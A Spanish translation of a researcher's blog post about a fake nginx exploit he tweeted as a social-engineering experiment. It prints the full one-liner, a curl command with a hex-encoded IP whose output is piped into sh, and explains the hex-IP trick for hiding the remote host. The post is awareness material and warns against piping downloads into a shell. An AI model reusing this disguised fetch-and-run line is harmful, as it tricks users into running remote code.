El éxito de un experimento social con un falso exploit para nginx

Nota perev. : El autor del artículo original, publicado el 1 de junio, decidió realizar un experimento entre los interesados ​​en la seguridad de la información. Para hacer esto, preparó un exploit falso para una vulnerabilidad no revelada en el servidor web y lo publicó en su twitter. Sus suposiciones, para ser expuestas instantáneamente por expertos que ven un fraude obvio en el código, no solo se hicieron realidad ... Excedieron todas las expectativas y en la dirección opuesta: el tweet recibió un gran apoyo de numerosas personas que no verificaron su contenido.



TL; DR: nunca utilice la canalización de archivos en sh o bash. Esta es una excelente manera de perder el control de su computadora.

Quiero compartir con ustedes una historia corta sobre el exploit PoC cómico que se creó el 31 de mayo. Apareció rápidamente en respuesta a las noticias de Alisa Esage Shevchenko , miembro de Zero Day Initiative (ZDI), que la información sobre la vulnerabilidad en NGINX que conduce a RCE (ejecución remota de código) pronto se revelaría. Dado que NGINX es la base de muchos sitios web, se suponía que las noticias producirían el efecto de una bomba explosiva. Pero debido a los retrasos en el proceso de "divulgación responsable" de la información, no se conocían los detalles de lo sucedido: este es el procedimiento estándar de ZDI.


Tweet de divulgación de vulnerabilidad NGINX

Después de terminar el trabajo en la nueva técnica de ofuscación en curl, cité el tweet original y "filtré el PoC de trabajo", que consiste en una línea de código que supuestamente usa la vulnerabilidad descubierta. Por supuesto, era una completa tontería. Pensé que me llevarían inmediatamente al agua limpia y que, en el mejor de los casos, obtendría un par de retweets (está bien).


Tweet falso de exploit

Sin embargo, no podía imaginar lo que sucedió después. La popularidad de mi tweet se ha disparado. Sorprendentemente, en este momento (15:00 hora de Moscú el 1 de junio), hasta ahora pocos se han dado cuenta de que esto es falso. Muchos lo retuitean sin verificar en absoluto (sin mencionar admirar los encantadores gráficos ASCII que muestra).


¡Solo mira qué belleza!

Aunque todos estos bucles y colores son maravillosos, por supuesto: para verlos, la gente ejecutó el código en su máquina. Afortunadamente, los navegadores funcionan de manera similar y, en combinación con el hecho de que no necesito ningún problema legal, el código oculto en mi sitio solo hizo eco llamadas sin intentar instalar o ejecutar ningún código adicional.

Una pequeña digresión: netspooky , dnz , yo y otros muchachos del equipo Thugcrowd hemos estado jugando con varias formas de ofuscar comandos de curl durante algún tiempo, porque es genial ... y somos geeks. netspooky y dnz descubrieron varias formas nuevas que me parecían extremadamente prometedoras. Me uní a la diversión e intenté agregar conversiones decimales IP a un conjunto de trucos. Resultó que IP también se puede convertir a hexadecimal. Además, ¡curl y la mayoría de las otras herramientas NIX disfrutan comiendo IP hexadecimales! Por lo tanto, todo lo que se necesitaba era simplemente crear una línea de comando convincente y segura. Finalmente me decidí por esto:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost 

Ingeniería socioelectrónica (SEE): más que solo phishing

La seguridad y el hábito fueron la parte principal de este experimento. Creo que fueron ellos quienes lo llevaron a su éxito. La línea de comando implícitamente implica seguridad, refiriéndose a "127.0.0.1" (el conocido localhost). Se cree que localhost es seguro y los datos que contiene nunca salen de su computadora.

La habitabilidad fue el segundo componente SEE clave del experimento. Dado que el público objetivo consistía principalmente en personas familiarizadas con los conceptos básicos de seguridad informática, era importante crear dicho código que sus partes parecieran familiares y familiares (y, por lo tanto, seguras). Prestar elementos de viejos conceptos de explotación y combinarlos de una manera inusual ha sido muy exitoso.

A continuación se muestra un análisis detallado de una sola línea. Todo en esta lista es de naturaleza cosmética , y prácticamente no se requiere nada para su trabajo real.

¿Qué componentes son realmente necesarios? Estos son -gsS , -O 0x0238f06a , |sh y el servidor web en sí. El servidor web no contenía ninguna instrucción maliciosa, sino que simplemente transfirió los gráficos ASCII utilizando comandos echo en el script contenido en index.html . Cuando el usuario ingresó una línea con |sh en el medio, index.html fue cargado y ejecutado. Afortunadamente, los encargados del servidor web no tenían malas intenciones.

• ../../../%00 : representa una salida fuera del directorio;
• ngx_stream_module.so - ruta al módulo aleatorio NGINX;
• /bin/sh%00\<'protocol:TCP' : supuestamente ejecutamos /bin/sh en la máquina de destino y redirigimos la salida al canal TCP;
• -O 0x0238f06a#PLToffset : un ingrediente secreto complementado por #PLToffset para que parezca un desplazamiento de memoria contenido de alguna manera en PLT;
• |sh; - Otra pieza importante. Necesitábamos redirigir la salida a sh / bash para ejecutar el código proveniente del servidor web atacante ubicado en 0x0238f06a ( 2.56.240.x );
• nc /dev/tcp/localhost : un ficticio en el que netcat se refiere a /dev/tcp/localhost para que todo vuelva a estar seguro. De hecho, no hace nada y está incluido en la línea de belleza.

Esto concluye la decodificación de un guión de una línea y la discusión de aspectos de la "ingeniería socioelectrónica" (phishing complejo).

Configuración del servidor web y contramedidas

Dado que la gran mayoría de mis suscriptores son hackers / seguridad de la información, decidí hacer que el servidor web sea un poco más resistente a las manifestaciones de "interés" de su parte, solo para que los chicos tuvieran algo que hacer (y fue divertido configurarlo). No voy a enumerar todas las trampas aquí, ya que el experimento aún está en curso, pero aquí hay algunas cosas que hace el servidor:

• Monitorea activamente los intentos de distribución en ciertas redes sociales y sustituye varias miniaturas de vista previa para alentar al usuario a seguir el enlace.
• Redirige Chrome / Mozilla / Safari / etc. al video promocional de Thugcrowd en lugar de mostrar el script de shell.
• Supervisa signos obvios de intrusión / piratería, después de lo cual comienza a redirigir las solicitudes a los servidores de la NSA (¡ja!).
• Instala el troyano, así como el BIOS del rootkit, en todas las computadoras cuyos usuarios visitan el host desde un navegador normal (¡broma!).

Una pequeña parte del antímero.

En este caso, mi único objetivo era aprender algunas de las características de Apache, en particular, reglas geniales para redirigir solicitudes, y pensé: ¿por qué no?

NGINX exploit (¡real!)

Siga a @alisaesage en Twitter y esté atento al gran trabajo de ZDI para resolver vulnerabilidades muy reales y aprovechar oportunidades en NGINX. Su trabajo siempre me ha fascinado y estoy agradecida con Alice por la paciencia con todas las menciones y notificaciones causadas por mi estúpido tweet. Afortunadamente, trajo algunos beneficios: ayudó a crear conciencia sobre las vulnerabilidades de NGINX, así como los problemas causados ​​por el abuso de rizos.